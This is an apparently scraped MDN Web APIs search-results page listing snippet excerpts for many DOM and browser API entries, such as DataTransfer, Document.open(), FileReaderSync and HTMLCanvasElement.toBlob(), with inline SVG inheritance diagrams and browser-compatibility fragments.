hierarchyrequesterror the node tree hierarchy is not correct.
... invalidcharactererror the string contains invalid characters.
... syntaxerror the string did not match the expected pattern.
...And 2 more matches
DataTransfer.items - Web APIs
the list includes one item for each item in the operation and if the operation had no items, the list is empty.
... syntax itemlist = datatransfer.items; return value a datatransferitemlist object containing datatransferitem objects representing the items being dragged in a drag operation, one list item for each object being dragged.
...lang=en> <title>examples of datatransfer.{types,items} properties</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: target.id = " + ev.target.id); ev.preventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data))...
...And 2 more matches
DataTransferItemList.remove() - Web APIs
if the index is less than zero or greater than one less than the length of the list, the list will not be changed.
...if the index doesn't correspond to an existing item in the list, the list is left unchanged.
... javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
...And 2 more matches
DedicatedWorkerGlobalScope.postMessage() - Web APIs
this accepts a single parameter, which is the data to send to the worker.
... the data may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references.
...this may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references.
...And 2 more matches
Using light sensors - Web APIs
ambient light events give a web application access to a device's ambient light sensor to detect changes in light intensity.
... when the light sensor of the device detects a change in light intensity, the browser is notified of the change and fires a devicelightevent event.
... the devicelightevent provides a value attribute with light intensity in lux which is generally treated as shown below.
...And 2 more matches
Document: DOMContentLoaded event - Web APIs
synchronous javascript pauses parsing of the dom.
... if you want the dom to get parsed as fast as possible after the user has requested the page, you can make your javascript asynchronous and optimize loading of stylesheets.
... examples basic usage document.addeventlistener('domcontentloaded', (event) => { console.log('dom fully loaded and parsed'); }); delaying domcontentloaded <script> document.addeventlistener('domcontentloaded', (event) => { console.log('dom fully loaded and parsed'); }); for( let i = 0; i < 1000000000; i++) {} // this synchronous script is going to delay parsing of the dom, // so the domcontentloaded event is going to launch later.
...And 2 more matches
Document.createNSResolver() - Web APIs
creates an xpathnsresolver which resolves namespaces with respect to the definitions in scope for a specified node.
...this adapter works like the dom level 3 method lookupnamespaceuri on nodes in resolving the namespaceuri from a given prefix using the current information available in the node's hierarchy at the time lookupnamespaceuri is called.
... note, xpath defines qnames without prefix to match only elements in the null namespace.
...And 2 more matches
Document.createNodeIterator() - Web APIs
syntax const nodeiterator = document.createnodeiterator(root[, whattoshow[, filter]]); values root the root node at which to begin the nodeiterator's traversal.
...since attributes are never children of other nodes, they do not appear when traversing over the document tree.
...its acceptnode() method will be called for each node in the subtree based at root which is accepted as included by the whattoshow flag to determine whether or not to include it in the list of iterable nodes (a simple callback function may also be used instead).
...And 2 more matches
Document.importNode() - Web APIs
to include it, you need to call an insertion method such as appendchild() or insertbefore() with a node that is currently in the document tree.
... deep optional a boolean which controls whether to include the entire dom subtree of the externalnode in the import.
... if deep is set to false, then only externalnode is imported — the new node has no children.
...And 2 more matches
Document.open() - Web APIs
WebAPIDocumentopen
this is no longer the case.document non-spec'ed parameters to document.open gecko-specific notes starting with gecko 1.9, this method is subject to the same same-origin policy as other properties, and does not work if doing so would change the document's origin.
... starting with gecko 1.9.2, document.open() uses the principal of the document whose uri it uses, instead of fetching the principal off the stack.
... as a result, you can no longer call document.write() into an untrusted document from chrome, even using wrappedjsobject.
...And 2 more matches
Events and the DOM - Web APIs
introduction this chapter describes the dom event model.
... also see example 5: event propagation in the examples chapter for a more detailed example of how events move through the dom.
... note: internet explorer 6–8 didn't support this method, offering a similar eventtarget.attachevent api instead.
...And 2 more matches
How to create a DOM tree - Web APIs
it applies to all gecko-based applications (such as firefox) both in privileged (extensions) and unprivileged (web pages) code.
...); personelem1.setattribute("first-name", "eric"); personelem1.setattribute("middle-initial", "h"); personelem1.setattribute("last-name", "jung"); var addresselem1 = doc.createelement("address"); addresselem1.setattribute("street", "321 south st"); addresselem1.setattribute("city", "denver"); addresselem1.setattribute("state", "co"); addresselem1.setattribute("country", "usa"); personelem1.appendchild(addresselem1); var addresselem2 = doc.createelement("address"); addresselem2.setattribute("street", "123 main st"); addresselem2.setattribute("city", "arlington"); addresselem2.setattribute("state", "ma"); addresselem2.setattribute("country", "usa"); personelem1.appendchild(addresselem2); var personelem2 = doc.createelement("person"); personelem2.setattribute("first-name", "jed"); personelem...
...2.setattribute("last-name", "brown"); var addresselem3 = doc.createelement("address"); addresselem3.setattribute("street", "321 north st"); addresselem3.setattribute("city", "atlanta"); addresselem3.setattribute("state", "ga"); addresselem3.setattribute("country", "usa"); personelem2.appendchild(addresselem3); var addresselem4 = doc.createelement("address"); addresselem4.setattribute("street", "123 west st"); addresselem4.setattribute("city", "seattle"); addresselem4.setattribute("state", "wa"); addresselem4.setattribute("country", "usa"); personelem2.appendchild(addresselem4); var addresselem5 = doc.createelement("address"); addresselem5.setattribute("street", "321 south avenue"); addresselem5.setattribute("city", "denver"); addresselem5.setattribute("state", "co"); addresselem5.setattri...
...And 2 more matches
Element: mouseleave event - Web APIs
one mouseleave event is sent to each element of the hierarchy when leaving them.
... here four events are sent to the four elements of the hierarchy when the pointer moves from the text to an area outside of the most outer div represented here.
... one single mouseout event is sent to the deepest element of the dom tree, then it bubbles up the hierarchy until it is canceled by a handler or reaches the root.
...And 2 more matches
Element.scrollHeight - Web APIs
it can also include the height of pseudo-elements such as ::before or ::after.
... element.scrollheight - element.scrolltop === element.clientheight when the container does not scroll, but has overflowing children, these checks determine if the container can scroll: window.getcomputedstyle(element).overflowy === 'visible' window.getcomputedstyle(element).overflowy !== 'hidden' scrollheight demo associated with the onscroll event, this equivalence can be useful to determine whether a user has read a text or not (see also the element.scrolltop and element.clientheight properties).
... </textarea> </p> <p> <input type="checkbox" id="agree" name="accept" /> <label for="agree">i agree</label> <input type="submit" id="nextstep" value="next" /> </p> </form> css #notice { display: inline-block; margin-bottom: 12px; border-radius: 5px; width: 600px; padding: 5px; border: 2px #7fdf55 solid; } #rules { width: 600px; height: 130px; padding: 5px; border: #2a9f00 solid 2px; border-radius: 5...
...And 2 more matches
Element.setAttribute() - Web APIs
exceptions invalidcharactererror the specified attribute name contains one or more characters which are not valid in attribute names.
... html <button>hello world</button> javascript var b = document.queryselector("button"); b.setattribute("name", "hellobutton"); b.setattribute("disabled", ""); this demonstrates two things: the first call to setattribute() above shows changing the name attribute's value to "hellobutton".
... you can see this using your browser's page inspector (chrome, edge, firefox, safari).
...And 2 more matches
Element.slot - Web APIs
WebAPIElementslot
examples in our simple-template example (see it live), we create a trivial custom element example called <my-paragraph> in which a shadow root is attached and then populated using the contents of a template that contains a slot named my-text.
...here is one such example: <my-paragraph> <span slot="my-text">let's have some different text!</span> </my-paragraph> in our javascript file we get a reference to the <span> shown above, then log a reference to the name of the corresponding <slot> element.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
ErrorEvent - Web APIs
w: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/errorevent" target="_top"><rect x="116" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="166" y="30" font-size="12px" font-family="consola...
...s,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">errorevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from its parent event.
... errorevent.filename read only is a domstring containing the name of the script file in which the error occurred.
...And 2 more matches
Event.composedPath() - Web APIs
the composedpath() method of the event interface returns the event’s path which is an array of the objects on which listeners will be invoked.
... return value an array of eventtarget objects representing the objects on which an event listener will be invoked.
... examples in our composed-composed-path example (see it live), we define two trivial custom elements, <open-shadow> and <closed-shadow>, both of which take the contents of their text attribute and insert them into the element's shadow dom as the text content of a <p> element.
...And 2 more matches
EventTarget - Web APIs
en;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor eventtarget() creates a new eventtarget object instance.
... eventtarget.dispatchevent() dispatches an event to this eventtarget.
... additional methods in mozilla chrome codebase mozilla includes a couple of extensions for use by js-implemented event targets to implement onevent properties.
...And 2 more matches
ExtendableEvent.waitUntil() - Web APIs
the extendableevent.waituntil() method tells the event dispatcher that work is ongoing.
...this is primarily used to ensure that a service worker is not considered installed until all of the core caches it depends on are successfully populated.
... the activate events in service workers use waituntil() to buffer functional events such as fetch and push until the promise passed to waituntil() settles.
...And 2 more matches
FederatedCredential.protocol - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprotocol experimentalchrome full support 51edge full support ≤79firefox ?
... webview android full support 51chrome android full support 51firefox android ?
...And 2 more matches
FederatedCredential.provider - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprovider experimentalchrome full support 51edge full support ≤79firefox ?
... webview android full support 51chrome android full support 51firefox android ?
...And 2 more matches
FileReaderSync.readAsArrayBuffer() - Web APIs
the readasarraybuffer() method of the filereadersync interface allows to read file or blob objects in a synchronous way into an arraybuffer.
... this interface is only available in workers as it enables synchronous i/o that could potentially block.
... encodingerror is raised when the resource is a data url and exceed the limit length defined by each browser.
...And 2 more matches
FileReaderSync.readAsBinaryString() - Web APIs
the readasbinarystring() method of the filereadersync interface allows to read file or blob objects in a synchronous way into an domstring.
... this interface is only available in workers as it enables synchronous i/o that could potentially block.
... encodingerror is raised when the resource is a data url and exceed the limit length defined by each browser.
...And 2 more matches
FileReaderSync.readAsDataURL() - Web APIs
the readasdataurl() method of the filereadersync interface allows to read file or blob objects in a synchronous way into an domstring representing a data url.
... this interface is only available in workers as it enables synchronous i/o that could potentially block.
... encodingerror is raised when the resource is a data url and exceed the limit length defined by each browser.
...And 2 more matches
FileReaderSync.readAsText() - Web APIs
the readastext() method of the filereadersync interface allows to read file or blob objects in a synchronous way into an domstring.
... this interface is only available in workers as it enables synchronous i/o that could potentially block.
... encodingerror is raised when the resource is a data url and exceed the limit length defined by each browser.
...And 2 more matches
FileSystemEntry.isDirectory - Web APIs
you should not assume that any entry which isn't a directory is a file or vice-versa.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetisdirectory experimentalchrome full support 8edge full support 79firefox full support 50ie no support noopera no support nosafari full support 11.1webview android full support ≤37chrome android full support 18firefox android full support ...
...And 2 more matches
FileSystemEntry.isFile - Web APIs
you should not assume that any entry which isn't a file is a directory or vice-versa.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetisfile experimentalchrome full support 8edge full support 79firefox full support 50ie no support noopera no support nosafari full support 11.1webview android full support ≤37chrome android full support 18firefox android full support 50op...
...And 2 more matches
FileSystemEntry.name - Web APIs
example this example shows a function called isfilewithextension() which returns true if the specified filesystementry is both a file and the file's name ends with a given extension.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetname experimentalchrome full support 8edge full support 79firefox full support 50ie no support noopera no support nosafari full support 11.1webview android full support ≤37chrome android full support 18firefox android full support 50oper...
...And 2 more matches
FontFace.display - Web APIs
WebAPIFontFacedisplay
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdisplay experimentalchrome full support 60edge full support 79firefox full support 58ie ?
... opera full support 47safari full support 11webview android full support 60chrome android full support 60firefox android no support noopera android full support 44safari ios no support nosamsung internet android full support 8.0legend full support full support no support no support ...
...And 2 more matches
Geolocation API - Web APIs
geolocation.watchposition(): registers a handler function that will be called automatically each time the position of the device changes, returning the updated location.
... an optional positionoptions object, which provides options for retrieval of the position data.
... interfaces geolocation the main class of this api — contains methods to retrieve the user's current position, watch for changes in their position, and clear a previously-set watch.
...And 2 more matches
GlobalEventHandlers.onanimationstart - Web APIs
the function receives as input a single parameter: an animationevent object describing the event which occurred.
...first, the "slideanimation" class, which establishes the animation that will cause the box to move over the course of five seconds, one time, using the "slidebox" keyframe set.
... the keyframes are defined next; they describe an animation which causes the box to migrate from the top-left corner of the container to the bottom-right corner.
...And 2 more matches
GlobalEventHandlers.onclick - Web APIs
note: when using the click event to trigger an action, also consider adding this same action to the keydown event, to allow the use of that same action by people who don't use a mouse or a touch screen.
...within the function, this will be the element upon which the event was triggered.
... examples detecting clicks this example simply changes the color of an element when it's clicked upon.
...And 2 more matches
HTMLAreaElement.referrerPolicy - Web APIs
the htmlareaelement.referrerpolicy property reflect the html referrerpolicy attribute of the <area> element defining which referrer is sent when fetching the resource.
... "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port.
... examples <img usemap="#maparound" width="100" height="100" src="/img/logo@2x.png" /> <map id="mymap" name="maparound" />> var elt = document.createelement("area"); elt.href = "/img2.png"; elt.shape = "rect"; elt.referrerpolicy = "no-referrer"; elt.coords = "0,0,100,100"; var map = document.getelementbyid("mymap"); map.appendchild(elt); // when clicked, the area's link will not send a referrer header.
...And 2 more matches
msAudioCategory - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... msaudiocategory specifies the purpose of the audio or video media, such as background audio or alerts.
... yes communications for streaming communication audio such as the following: voip real time chat or other type of phone calls should not be used in non-real-time or non-communication scenarios, such as audio and/or video playback, as playback startup latency is affected.
...And 2 more matches
HTMLBRElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlbrelement" target="_top"><rect x="361" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">ht...
...And 2 more matches
HTMLCanvasElement.toBlob() - Web APIs
the htmlcanvaselement.toblob() method creates a blob object representing the image contained in the canvas; this file may be cached on the disk or stored in memory at the discretion of the user agent.
... var canvas = document.getelementbyid('canvas'); canvas.toblob(function(blob) { var newimg = document.createelement('img'), url = url.createobjecturl(blob); newimg.onload = function() { // no longer need to read the blob so it's revoked url.revokeobjecturl(url); }; newimg.src = url; document.body.appendchild(newimg); }); note that here we're creating a png image; if you add a second parameter to the toblob() call, you can specify the image type.
... var canvas = document.getelementbyid('canvas'); var d = canvas.width; ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(d / 2, 0); ctx.lineto(d, d); ctx.lineto(0, d); ctx.closepath(); ctx.fillstyle = 'yellow'; ctx.fill(); function blobcallback(iconname) { return function(b) { var a = document.createelement('a'); a.textcontent = 'download'; document.body.appendchild(a); a.style.display = 'block'; a.download = iconname + '.ico'; a.href = window.url.createobjecturl(b); } } canvas.toblob(blobcallback('passthisstring'), 'image/vnd.microsoft.icon', '-moz-parse-options:format=bmp;bpp=32'); save toblob to disk with os.file (chrome/add-on context only) this technique saves it to the desktop and is only useful in firefox chrome cont...
...And 2 more matches
HTMLCanvasElement.toDataURL() - Web APIs
chrome also supports the image/webp type.
... encoderoptions optional a number between 0 and 1 indicating the image quality to use for image formats that use lossy compression such as image/jpeg and image/webp.
... exceptions securityerror the canvas's bitmap is not origin clean; at least some of its contents have or may have been loaded from a site other than the one from which the document itself was loaded.
...And 2 more matches
HTMLDListElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldlistelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
...And 2 more matches
HTMLDivElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldivelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">h...
...And 2 more matches
HTMLElement.hidden - Web APIs
the htmlelement property hidden is a boolean which is true if the element is hidden; otherwise the value is false.
...content that was previously needed but is not any longer content that is reused by other parts of the page in a template-like fashion creating an offscreen canvas as a drawing buffer inappropriate use cases include: hiding panels in a tabbed dialog box hiding content in one presentation while intending it to be visible in others elements that are not hidden must not link to elements which are.
... syntax ishidden = htmlelement.hidden; htmlelement.hidden = true | false; value a boolean which is true if the element is hidden from view; otherwise, the value is false.
...And 2 more matches
HTMLFormControlsCollection - Web APIs
this interface replaces one method from htmlcollection, on which it is based.
...en;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmlcollection" target="_top"><rect x="1" y="1" width="140" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlcollection</text></a><polyline points="141,25 151,20 151,30 141,25" stroke="#d4dde4" fill="none"/><line x1="151" y1="25" x2="181" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlformcontrolscollection" target="_top"><rect x="181" y="1" width="260" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="311" y="30" font-si...
...ze="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlformcontrolscollection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface inherits the properties of its parent, htmlcollection.
...And 2 more matches
HTMLHeadElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlheadelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
...And 2 more matches
HTMLHtmlElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
